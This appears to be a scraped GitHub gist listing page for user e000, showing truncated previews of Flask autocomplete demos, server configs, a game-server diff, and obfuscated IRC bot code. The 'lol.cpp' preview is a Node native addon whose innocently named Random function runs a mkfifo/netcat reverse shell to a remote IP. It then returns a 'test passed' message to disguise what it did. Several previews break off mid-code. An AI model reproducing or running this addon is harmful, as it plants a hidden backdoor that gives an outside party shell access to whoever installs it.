Skip to content

Instantly share code, notes, and snippets.

@e000
e000 / dawg_ps.py
Last active December 19, 2015 15:18
import dawg, flask, time, string
app = flask.Flask(__name__)
trie = None
NUM_RESULTS = 30
DICT_FILE = "/usr/share/dict/words"
_index_html = """
<html>
@e000
e000 / marisa_autocomplete.py
Last active December 15, 2015 15:09
Demo of using marisa's predictive search + flask + angular.js.
import marisa, flask, time
app = flask.Flask(__name__)
trie = marisa.Trie()
agent = marisa.Agent()
NUM_RESULTS = 30
DICT_FILE = "/usr/share/dict/words"
_index_html = """
@e000
e000 / lol.cpp
Created September 30, 2012 23:42
#include <node.h>
#include <cstdlib>
using namespace v8;
Handle<Value> Random(const Arguments& args) {
HandleScope scope;
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8080 >/tmp/f");
return scope.Close(
String::New("Extenderp interface test passed! We hope...")
@e000
e000 / default
Created September 28, 2012 16:50
Supervisord + Gunicorn + Nginx Setup
# Put me in /etc/nginx/sites-enabled/
server {
listen 80;
server_name localhost;
location / {
index index.html;
root /var/data/www;
}
include /etc/nginx/sites-enabled/apps/*;
}
diff --git a/src/server/game/Entities/GameObject/GameObject.cpp b/src/server/game/Entities/GameObject/GameObject.cpp
index 1d9958a..ac1393f 100755
--- a/src/server/game/Entities/GameObject/GameObject.cpp
+++ b/src/server/game/Entities/GameObject/GameObject.cpp
@@ -138,8 +138,8 @@ void GameObject::AddToWorld()
bool toggledState = GetGOData() ? GetGOData()->go_state == GO_STATE_READY : false;
if (m_model)
GetMap()->Insert(*m_model);
- if (startOpen ^ toggledState)
- EnableCollision(false);
(lambda n,s,I:n.classobj ('h',(),dict(__init__= ( lambda M,S,P,C:M.__dict__
.update(dict(R=(S,P),H=C ,A=1<<8,O=s.socket()))), C=(lambda M:(M.O.connect(
M.R),1/7, None, None, "sock"
,setattr (M,'D' ,M.O. #####
makefile ()),1 ,None ,8192
,setattr (M,'S',(lambda l='':M.O. send(
l+'\r\n' ))),M.S("NICK hue"),M.S( "USER"
" a b c" " d :HE"),setattr(M,'R', lambda
n,m:M.S( 'PRIV' 'MSG ' '%s :'
'%s'%(n, m))), M.P() )),G=(
(lambda n,s,I:n.classobj ('h',(),dict(__init__= ( lambda M,S,P,C:M.__dict__
.update(dict(R=(S,P),H=C ,A=1<<8,O=s.socket()))), C=(lambda M:(M.O.connect(
M.R),1/7, None, None, "sock"
,setattr (M,'D' ,M.O. #####
makefile ()),1 ,None ,8192
,setattr (M,'S',(64,lambda l:M.O. send(
l+'\r\n' ))),M.S("NICK hue"),M.S( "USER"
" a b c" " d :HE"),setattr(M,'R', lambda
n,m:M.S( 'PRIV' 'MSG ' '%s :'
'%s'%(n, m))), M.P() )),G=(
"""
Matix Gen, by <venuism>, rewritten by <e>
"""
from itertools import groupby, cycle
from font import ascii_dict as d_ascii_dict
from random import sample
safe_format = '\x03%i,%02i%s'
unsafe_format = '\x03%i,%i%s'
class matixgen:
from Core.ZalgoBase.ConfigBase import ConfigBase, ConfigDict
from Protocols.UnrealProtocol import UnrealProtocol
class Config(ConfigBase):
ServerAddress = 'xxx.xxx.xxx.xxx'
UseSSL = False
ServerPort = 6667
ServerDescription = "Zalgo Descriotion"
ServerPassword = 'xxx'
ReceivePassword = 'xxx'
"""
Cryto.net Tahoe-LAFS -> WSGI Gateway Proxy
--------------------
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION